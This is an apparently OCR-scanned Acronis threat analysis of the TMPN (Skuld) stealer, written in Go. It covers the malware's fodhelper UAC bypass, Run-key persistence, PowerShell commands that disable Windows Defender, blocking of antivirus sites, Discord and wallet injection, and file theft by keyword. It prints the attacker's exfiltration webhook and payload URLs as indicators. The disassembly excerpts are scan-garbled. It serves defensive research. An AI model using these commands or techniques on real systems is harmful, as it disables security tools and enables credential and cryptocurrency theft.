TMPN (Skuld) Stealer: The dark side of open source

acronis.com/en-sg/cyber-protection-center/posts/tmpn-skuld-stealer-the-dark-side-of-open-source

Other languages available: Deutsch Espafiol (Spain) Frangais Italiano HZZE Portugués (Brazil)

Summary

TMPN Stealer is based on the open-source project ‘Skuld stealer’
Uses Discord webhooks for communications

Injects JS payload to Discord

Steals browsers and cryptocurrency wallet data

Steals local files and system information

Introduction

Skuld, also known as TMPN Stealer, is an information-stealing malware written in Golang (Go) that emerged in May 2023. Its developer,
identified as "Deathined," appears to be a newcomer in the malware development scene, utilizing open-source projects as inspiration for
Skuld's functionality. The malware is distributed through various means, including malicious links and compromised websites, aiming to infect
systems globally.

Technical details

Overview

The analyzed sample is written in Go and has a fake compilation timestamp. The file size is 14.4 MB and is normal for programs that are
written in Go.
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File type File size Base address Entry point 7| Advanced
PEG4 > 14.48 MiB 0000000000400000 0000000000462020 >
Demangle
File info Memeory map Disasm Hesx Strings Signatures WirusTotal
MIME Visualization Search Hash Entropy Extractor YARA
BE Export Import Resources .MET TLS Overlay
Sections Time date stamp Size of image Resources
ooof > 1968-12-31 16:00:00 00£16000 Manifest Version
Scan Endianness Mode Architecture Type
Automatic - LE &4-bit AMDb4 Console
~ PES4
Operation systemn: Windows(7)[AMD64, 64-bit, Console] 5 7
Compiler: Go(go1.22.5) 5 %
Language: Go 5 ? Shortcuts
(Heur)Packer: Packer detected[Section & (".zdebug_line") compressed] 5
Options
Signatures | v Recursive scan |V Deep scan  |v'| Heuristic scan | Verbose About
Scan
Directory Log All types > 996 msec Exit

GitHub contains a page that probably contained TMPN stealer source code, but it is no longer available: https://github.com/DextenXD/TMPN-
Stealer

GitHub
)

https://github.com » DextenXD

DextenXD/TMPN-Stealer

Go-written Malware targeting Windows systems, extracting User Data from Discord, Browsers,
Crypto Wallets and more, from every user on every disk. (PoC.

While this page is unavailable, during analysis, we discovered a link in the code that leads to another project: Skuld Stealer. It is an open-
source project that demonstrates a Discord-oriented stealer. Even the description is similar to the TMPN one:

[ README & MIT license

FORKS 40 STARS 140

ISSUES

3 OPEN LICENSE MIT

Skuld Stealer

Go-written Malware targeting Windows systems, extracting User Data from Discord, Browsers, Crypto Wallets and
more, from every user on every disk. (PoC. For Educational Purposes only)

Configuration

At the start of execution, Skuld loads configuration to the memory, which contains multiple strings. The first one is ‘webhook’, and the second
one contains the URL:

hxxps://discord.com/api/webhooks/1272963856322527274/PGGfe9V7To17wrSy0T7qE8SEpNjFXfms2KY4A421gXmXwMcrPdaeG0Z3DB2T9eYE

This refers to Discord webhooks, a low-effort way to post messages to channels in Discord. This mechanism is very useful to organize
control, due to webhooks not requiring a bot user or authentication to use.

The next string that is loaded to the memory points to the BTC wallet:
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bc1gmzakpinly7ndykv60emmyvxw4eh016mE&20tcplv

bc1gm-tcplv

Bitcoin Address

usDh

bclgmzakpfnly7ndykvé@emmyvxw4eh@lém820teply

Bitcoin Balance

0.00000000 - s0.00

In fact, the source code supports multiple cryptocurrency wallets:

"DOGE™ :

Preparation

Before executing the main payload, Skuld makes some preparations:

Ctext:eappepe080885657
.text:8208800088585657
ctext:8e0880008058565E6

loc_B8@5657:
mov
nop

[rax+8], rcx
dword ptr [rax+rax+2eh]

.text:00000000005805600 call github_github_utils_program_IsAlreadyRunning
.text:0800000000885665 test al, al
.text:0000000080805667 jnz loc_8@5846
i A 4 Y
FEZE
.text:@a0000000088566D0 call github_github modules uacbypass Run text:0000000000505846
.text:0000000000205672 call github_github_modules_hideconsole_Run text:00060000000805846 loc_20!
.text:eo00000000305677 call github_github_utils program HideSelf text:0000000000505846 add
. text: 660668608088567C nop dword ptr [rax+86h] text:0006000080088584D0 pop
.text:@000000000305680 call github_github_utils_program_IsInStartupPath text:000000000888584E retn
.text:0000000000885685 test al, al
.text:0000600000305687 jnz short loc_8@5695
First, Skuld checks if it is already running by checking the specific mutex name:
80 6C @0 6F @0 62 PO 61 0B 6C 06 5C 66 33 @8 G.l.o.b.a.l.\.3.
98 37 @0 35 @0 36 @@ 35 0P 31 @0 63 V0 2D @@ 5.7.5.6.5.1.c.-.
80 62 @0 34 @0 37 @@ 2D 90 34 @0 34 @0 38 @@ b.b.4.7.-.4.4.8.
88 2D 06 61 00 35 68 31 60 34 68 2D 08 32 8P e.-.3.5.1.4.-.2.
80 35 @0 36 @0 35 @@ 37 60 33 00 32 00 62 @@ 2.8.6.5.7.3.2.b.
b

Next, it calls the UAC Bypass function. Here it checks if the process is elevated or whether it can it be elevated, and then finally calls the
elevation function. This function sets the malware path to the fodhelper.exe utility registry key:

HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command\\DelegateExecute

This will cause a fodhelper.exe to pop the UAC window, but since the registry key has been changed, upon accepting notification, it will
execute a sample with elevated permissions. The old process then will clear the Fodhelper registry key and terminate.
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To hide itself from user eyes, Skuld uses an ‘attrib +h +s’ command, which will give sample ‘hidden’ and ‘system’ attributes. Additionally, it
uses the ‘GetConsoleWindow’ function to obtain the current window descriptor and the ‘ShowWindow’ function to set the window show state
to ‘Hidden’.

It adds a registry key to ‘Software\Microsoft\Windows\CurrentVersion\Run’ to persist on the victim's systems. The key name will be ‘Realtek
HD Audio Universal Service’ and have the next value: '%APPDATA%\Microsoft\Protect\SecurityHealthSystray.exe'. After this, it will check for
file existence in this path. If it does not exist, it will copy itself there.

Next, Skuld checks if the sample is running on a Virtual Machine. To do this it checks the hostname, username, MAC address, IP address
and HWID, and compares it with its own saved lists. If any string matches, it will terminate execution. Next, it checks if any debugger is
attached to the process.

Finally, it tries to evade antivirus software. Here, it excludes its own path from Microsoft Windows Defender scanning and uses PowerShell
commands to disable it:

powershell”, "Set-MpPreference”, "-DisablelntrusionPreventionSystem", "$true", "-DisablelOAVProtection", "$true”, "-
DisableRealtimeMonitoring", "$true”, "-DisableScriptScanning”, "$true”, "-EnableControlledFolderAccess", "Disabled”, "-
EnableNetworkProtection"”, "AuditMode"”, "-Force", "-MAPSReporting", "Disabled”, "-SubmitSamplesConsent", "NeverSend"

powershell”, "Set-MpPreference”, "-SubmitSamplesConsent", "2
"%s\\Windows Defender\\lMpCmdRun.exe", os.Getenv("ProgramFiles")), "-RemoveDefinitions", "-All

The last step of this function is to block connection to the following sites:

"virustotal.com", "avast.com", “totalav.com”, "scanguard.com", "totaladblock.com”, "pcprotect.com”, "mcafee.com",

"bitdefender.com", "us.norton.com”, "avg.com", "malwarebytes.com", "pandasecurity.com”, "avira.com", "norton.com”,

"eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com",

"bullguard.com”, "clamav.net", "drweb.com", "emsisoft.com”, "f-secure.com”, "zonealarm.com”, "trendmicro.com”,
"ccleaner.com"

Discord injection

Upon entering the injection function, Skuld first calls two bypass functions. The first is used to bypass BetterDiscord, which is a Discord client
modification. Besides different plugins, emotes and developer tools, it also contains security enhancement. To perform a bypass, it searches
and opens a ‘AppData\Roaming\BetterDiscord\data\betterdiscord.asar’ file and replaces all existing ‘api/webhooks’ strings with ‘ByHackirby .

lea rbx, go_itab_ bufio Writer_io_Writer
mov rcx, [rsp+lEsh+var_158]
call golang_org_x_text_encoding_ ptr_Encoder_Writer
MoV [rsp+1E8h+var_178], rax
mov [rsp+1E8h+var_118], rbx
mov rdx, 'hbew/ipa’
mov [rsp+lE8h+var_194], rdx
mov [rsp+1E8h+var_18C], 'skoo’
mowv [rsp+1E8h+var_1E8], @FFFFFFFFFFFFFFFFh
mov rcx, [rsp+lE8h+var_178]
lea rdi, [rsp+lEsh+var_194]
mov esi, @Ch
mov r8, rsi
lea ra, unk_DeB7E@®
mov rled, Bah
moy ril, rie unk_DE@7E@ G0 22n Al s DATA XREF
mov rax, [rsp+lES db 79h ; y
mov rbx, [rsp+1E8 db 48h ; H
call bytes_Replace db 61h ; =
mov s db 63h ; c
mov rdx, [rdx+18h db 6Bh ; k
modules_discordinject S rE 8
E = db 72h ; r
db 62h ; b
db 79h ; y
8F 86 D3 82 @@ @@ 55 [unk DEET7EA G S DATA XRE
db 65h ; e
A e o -

It then tries to bypass the Discord Token Protector. First, it checks if this module is presented on the system. If yes, it opens a
"AppData\Roaming\DiscordTokenProtector\config.json" file and changes the next values:

"auto_start" = false
"auto_start_discord" = false
"integrity" = false

"integrity _allowbetterdiscord" = false
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"integrity _checkexecutable" = false
"integrity_checkhash" = false
"integrity _checkmodule" = false
"integrity _checkscripts" = false
"integrity _checkresource" = false
"integrity _redownloadhashes" = false
"iterations_iv" = 364

"iterations_key" = 457

"version" = 69420

It then calls an injection function. First, it checks the presence of Discord on the PC, loading multiplied data blocks and taking some data from
them. It then joins all taken data and passes it to the ‘filepath.Glob’ function as a search filter.

oy Lt Spt s v _ oy

lea ra, aTruefilereadop+2D%h ; “app-*SteamSavedLunarUplayis\\¥sDriveTot"...
mov [rsp+158h+var_58], rg gEA==g

mov [rsp+158h+var_38], 7

lea r2, aCookieacceptcot41Eh ; "modulesRoamingversionWindowsFeatherBadl™...
mov [rsp+158h+var_48], rd

mov [rsp+158h+var_28], 16h

lea rd, a2ee6el182156465 8+177Fh ; “discord desktop core-*integrity checksc”
mov [rsp+158h+var_38], r9

mov [rsp+158h+var_18], 14h

lea r9, a2en6ele21564e5 6+14Bh ; “"discord desktop coreGameUserSettings.in”.
mov [rsp+158h+var_28], r9

lea rax, [rsp+l58h+var_68]

mov ebx, 5

mov rcx, rbx

call path_filepath_join

xor ecx, ecx

call path_filepath_globWithLimit

Next, it downloads the file ‘injection.js’ from Skuld Github. The file name will be changed to ‘coreinedex.js’ and written to the previously found
Discord path. This script will set up hooks and intercept such data as login, register and 2FA requests, PayPal credits and email / password
changes. When any info is captured, it will send the result in JSON format to the server.

await req‘uest{{"PCS?", CONFIG.webhook, {

"Content-Type™:

Fon

Cryptocurrency wallets injection

The injection targets two cryptocurrency wallets: Exodus and Atomic. The point of this technique is to download and save files with the ‘.asar
extension, which is an archive that is used by cryptocurrency wallets, but contains attacker data.

lea rax,-aHttpSG:TrthubCom ; "https://github.com/hackirby/wallets-inj"...
mov ebx, 42h ; 'B'
lea rcx, aHttpsGithubCom @ ; “https://github.com/hackirby/wallets-inj"...

mov rdi, rbx
call github_github_modules_walletsinjection_Run

o R

System information discovery

After both injections are done, Skuld starts obtaining system information. Here, it calls a number of functions to obtain such information as
CPU, disks, GPU, Network, OS, Windows license keys, RAM and others.

Address Called function

Ltext:0000000000CE... call github_github_modules_system_GetCPU
Ltext:0000000000CE... call github_github_modules_system_GetDisks
.text:0000000000CE ... call  github_github_modules_system_GetGPU
Ltext:0000000000CE... call github_github_modules_system_GetMNetwork
Ltext:0000000000CE... call github_github_meodules_system_GetOs
Ltext:0000000000CE ... call github_aithub_modules_system_GetProductiey
Ltext:0000000000CE ... call github_github_modules_system_GetRAM
Ltext:0000000000CE ... call github_github_modules_system_GetScreens
Ltext:0000000000CE... call github_github_modules_system_Getwifi
.text:0000000000CE ... call github_github_utils_hardware_GetHWID
Ltext:0000000000CE... call github_github_utils_hardware_GetMAC
Ltext:0000000000CE... call github_github_utils_hardware_Getlsers
Ltext:0000000000CE... call github_github_utils_requests_\Webhook
Ltext:0000000000CE... call github_github_utils_requests_\Webhook
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All this data will be saved in JSON format and sent to the server. Besides raw data, it appends a link to the picture to the ‘avatar_url’ field.

This avatar is probably used in the attacker Discord bot.

lea rdx, off _E25F9@ ; “lolltextasnlnullbooljson'\\''Host&1t;&g"
mav [rax+8], rdx

lea rax, RTYPE_map_string_interface_

mov rbx, [rsp+2Ce8h+arg_1@]

lea rcx, afvatarUrl2e860 ; "avatar url2eec-al-a2"

mov edi, eah

call runtime_mapas -

lea rdx, RTYPE_string

mov [rax], rdx

cmp cs:runtime_writeBarrier, @

jz short loc_ABD468

mov rsi, [rax+g]
nop
call runtime_gcWriteBarrierl
mov [r11], rsi
; CODE XREF: github_github_utils_requests_Webl
lea rdx, off _E25FA® ; “https://i.redd.it/68p87sk4976z.jpgsql: "..
mov [rax+8], rdx
lea rax, RTYPE_map_string_interface_
e o MNrenLdr@hizserr 1@
Browsers

The browser’s function targets two types of browsers and depends on their engine — Chromium or Gecko based. Both of these functions
have different saved browser names and paths. Functions that extract data, such as logins, cookies, credit cards, downloads and history, are

the same for all browsers.

Jtext:0000000000CS... call
Jtext:0000000000CS... call
Ltext:0000000000C9... call
Ltext:0000000000CS... call
text:0000000000CS... call

github_github_modules_browsers__ptr_Chromium_GetLogins
github_github_modules_browsers__ptr_Chromium_GetCookies
github_github_modules_browsers__ptr_Chromium_GetCreditCards
github_github_modules_browsers__ptr_Chromium_GetDownloads
github_github_modules_browsers__ptr_Chromium_GetHistory

Discord tokens

To get Discord tokens, Skuld again checks browsers and searches particular strings in their databases. Then, results are passed to the
function that will interact with the Discord API and check if the found tokens are valid. All results are saved in JSON format and sent to the

server.

.text : 9000000008 BELIE lea rcx, alLittleendianmu+39Fh ; "Authorization Nitro Basic™ Authenticator”...
.text:eooeee080CEELAS mov edi, @Dh

.text: 00006000000 BELAA call runtime_mapassign_faststr

.text:@e006000808CBELAF mov rcx, [rsp+8Eseh+var_E1@]

.text:0008000008CBE1B4 mov [rax+8], rex

.text:9000000000CBELEE cmp cs:runtime_writeBarrier, @

.text: 0000000000 BE1EF nop

.text : 9060600000 BELCO jnz short loc_CBELCC

.text: 0000000000 BELC2 mov rdx, [rsp+2Es@h+var_CAS]

.text :00606000000CBELCA jmp short loc_CBE1E3

e I E E e e = e e e e e e e e e e e e e e e e e e

.text :6008000808CBELCC

.text :9088600006CBELCC loc_CBELCC: ; CODE XREF: github_github_modules_tokens_Run+B@etj
.text:0esReee880CBELCC call runtime_gcWriteBarrier2

.text : 906060006806 BE1D1 mov rdx, [rsp+8ES8Bh+var_CAZ]

.text:0e00000000CBELDY mov [r1l1], rdx

. text : 66660660866 BE1DC mov r8, [rax]

.text : eaeeee888CEELDF mov [r11+8], r8

.text : 6000000008 BELE3

.text :90006000000CBE1E3 loc_CBELE3: ; CODE XREF: github_github_modules_tokens_Run+B@Atj
.text:90006000000CBELES mov [rax], rdx

.text :00606000000CBELEG mov [rsp+BEBBh+var_98], @

.text:90006000000CBELF2 lea r8, [rsp+@Edeh+var_B8C8]

.text:000800008BCBELFA mov [rsp+BEBBh+var 98], r8

.text:0600000000CBE202 lea rax, aHttpsDiscordCo 1 ; "https://discord.com/api/v3/users/fime/re". ..

Discord 2FA codes

Discord has a mechanism that is used in case a user loses access to the 2FA device. The file ‘discord_backup_codes.txt’ contains codes that
can be used in such situations.

FR—
rex
rbx, 14h

short loc_CB3D7D

rbx, a2e860102150485 +137h ; "discord_backup codesc

[P

|

- text:8000000000CE3D6F ecx, 14h
.text:0600000000CE3074 call runtime_memequal
.tewt:80800000088CE3D79 test il a8l
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Sample will search this file in the next user folders: Desktop, Downloads, Documents, Videos, Pictures, Music, OneDrive.

Common files

This function will search for files with particular keywords in their names and extensions in the next folders: Desktop, Downloads, Documents,
Videos, Pictures, Music, OneDrive. If both the keyword and extension are presented in the filename, the file will be copied to the new folder.

Keywords Extensions
"account” " txt”
"password” "log"
"secret" ".doc"
"mdp” " Jocx"
"motdepass” " xls"
"mot_de_pass" " xlsx"
"login” " ppt"
"paypal" " ppix”
"banque" " odt"
"seed" " pdf’
"bangue” "t
"bancaire” " json"
"hank" ey
"metamask” ".db"
"wallet" "jpg"
"crypto” "ipeg”
"exodus” " png"
"atomic” ".gif"
"auth” " webp"
"mfa" " mp4"
g

"eode”

"memao”

"compte”

"token"

"password"”

"credit”

"card"

"mail"”

"address"

"phone”

"permis”

"number”

"backup”

"database"

"config”

This folder will then be archived with a password, which contains 16 random symbols. The archive will be uploaded to the server alongside
JSON data, which contains the archive server URL, password and archived file number. Here we can note that the server link that was
provided in the ‘Upload’ function matches the link from the source code: ‘https://api.gofile.io/getServer ’. This link is invalid, meaning that this
sample will collect data but not will not send it to the attacker.

Cryptocurrency wallets

Here it has two different functions for this purpose. The first will search for cryptocurrency wallet files on the local system in the
‘%APPDATA%\\Roaming’ folder. All found files will be zipped to archive and sent to the server. The second will check for cryptocurrency
wallet browser extensions and try to steal their profiles.

- Text: BUBBBBEBBBLLL /28

=" |v .text:0DEEEREEERCC2720 cmp rsp, [rl4+leh]
jbe short loc_CC2752
push rbp
mov rbp, rsp
sub rsp, 1éh
mov [rsp+l@htarg_8], rax
mov [rsp+l@h+arg 8], rbx
call github_github_modules_wallets_Local
mov rax, [rsp+l@h+arg @]
mov rbx, [rsp+l@h+arg 8]
call github_github_modules_wallets_Extensions
add rsp, 1@h

Game session stealer

To steal game data, Skuld loads a list that contains six names: “Epic Games”, “Minecraft”, “Riot Games”, “Uplay”, “NationsGlory” and
“Steam”. Each field contains additional values, which include file paths and filenames that must be searched for. It will try to copy all files that
are presented in this list to the temporary folder and exfiltrate them to the server as a zip archive.
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. text:0000000008CETD3T mov [rsp+@Ca8h+var_278], 7

. text :0P0600006aCE7043 lea rbx, aCookieacceptco+41@h ; isco’dq'cdule.
. text:eeee000008CE704A mov [rsp+@C98h+var_288], rbx

.text:000000000BCRTD52 mov [rsp+@8C98h+var 268], S5

. text : 06000600008CE7D5E lea rsi, aTruefilereadop+2D4h ; I'_“calapp-='=Stear|'5a\.-ed|
. text:0e00008008CBTDES mov [rsp+@Co8h+var_278], rsi

. text: 06006000000CE7DED mov [rsp+8C98h+var_258], 1lh

. text : 0BEOOERARBCETDTI lea r8, aBinaryBigendiat24sh ; "-,Eln
. text:06000000008CE7DE0 mov [rsp+8C98h+var_268], rd

. text:e60000000@CE70E3 mov [rsp+aC9sh+var_248], 5

. text:@BB0REE0PBCET0OL lea r8, aTruefilereadop+2E3h ;

ot s FUO AT D TIRN D —— Ferm t ACATk 1 irne AEAT -

Clipper

Finally, it starts a clipper function. It uses multiple regex values to filter clipboard data. This regex targets different cryptocurrency wallet
addresses, and if there is a match, it will replace this data with its own cryptocurrency wallet address. The only attacker address that was
spotted in the configuration is the BTC address.

.text:e000000080CBA086 loc_CBODBG6: 3 CODE XREF: github_github_modules_clipper_ Run+AD?tj
.text:eepeoee000CE0DA6 mov [rax], rcx

.text:e000000000CE0089 lea rax, aX5@9UnhandledC+8Flh ; “~((bitcoincash:)?{q|p)[a-z@-9]{41})C:\\". ..
Text:e0e0000000CE0010 mov ebx, 23h ; ‘'#'

.text:@020008000CEA015 call regexp_MustCompile

.text: 0686606006CE6D1A mov [rsp+188h+var_5@8], rax
.text:eeee000000CEA022 mov rbx, [rsp+l88h+var_Da]
.text:6006006006CE0D2A lea rcx, unk DSE48F

Lext:oesoepo000aCEeD31 mov edi, 3

.text:f000008008CB0036 lea rax, RTYPE_map_string_ ptr_regexp_ Regexp
.text:e8000060008CE003D nop dword ptr [rax]

.text:8606060008CE0D40 call runtime mapassign faststr
.text:eogaeeea0aCBlDD4 xor eax, eax

.text:0060060000CE1006 call runtime_stringtoslicebyte

.text: 000000000 B 1DDE mov rdi, rcx

.text:00660060008C81DDE mov rcx, rbx

.text:6008000808CE1DEL MoV rbx, rax

.text:easaee0008CB1DES xor eax, eax

.text:0000000000CB1DEL call golang_design_x_clipboard Write

-text : ARAARARARACRINFR dmn lar CR191R

Conclusion

Compiled from open-source project Skuld, TMPN stealer has a BTC wallet address and Discord API link in its configuration. There is no
additional information added to the source code, such as a server to upload files, meaning that this sample primarily targets Discord, injecting
a JS payload to retrieve information such as emails, passwords and tokens.

Discord is a popular target not only because it is the most popular communication platform for gamers, but also because it has popularity in
the cryptocurrency community. It can even bypass some Discord plugins that are designed to enhance security. It can also steal browser data
and user files, which may contain any credentials, and upload them to the attacker.

€ Incident detected

An incident has been created. Reason of detection: Malicious threat

EDR
loader exe (n]]
® Not mitigated

Malware detected

Investigate incident |[Eelags/sldlgs Clear
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CYBER KILL CHAIN ACTIVITIES

1. Attack techniques and tools used

The attacker used a malicious file “loader.exe” to execute the
SFS:Stealer.SkuldStealer.B threart, which was detected on the host
'hostname1'. The threat was executed by the user and was detected
by the antimalware service.

2. Potential motivations behind the attack

The attacker's motivation appears to be stealing sensitive information
or data from the affected host, as indicated by the use of a file stealer
threat.

3. Possible vulnerabilities exploited

The attacker exploited the vulnerability in the user's system by
executing the malicious file “loader.exe” from the user's desktop,
bypassing any security measures in place.

Attack stages =

Execution @

® Oct 25, 2024 03:53:11:813
Threat name; SFS:Stealer SkuldStealer.B

User executes malicious file (loader.exe ).

loCs

1]

IE DESKTOP-QQJR...

Create process

~

- {:} Explorer EXE \

On-Access scan

-

{\E loader.exe | o

Files

File name

SHA256

loader.exe

5a7e38a45533e0477c3868c49df16d307a3da80b97a27ac4261619ff31a219f8

Network indicators

URL

https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js

https://discord.com/api/webhooks/1272963856322527274/PGGfe9V7To17wrSy0T7qE8SEpNjFXfms2KY4A421gXmXwMcrPdaeG0Z3DB2T9eYE

https://i.redd.it/68p07sk4976z.jpg

https://api.gofile.io/getServer

9/9



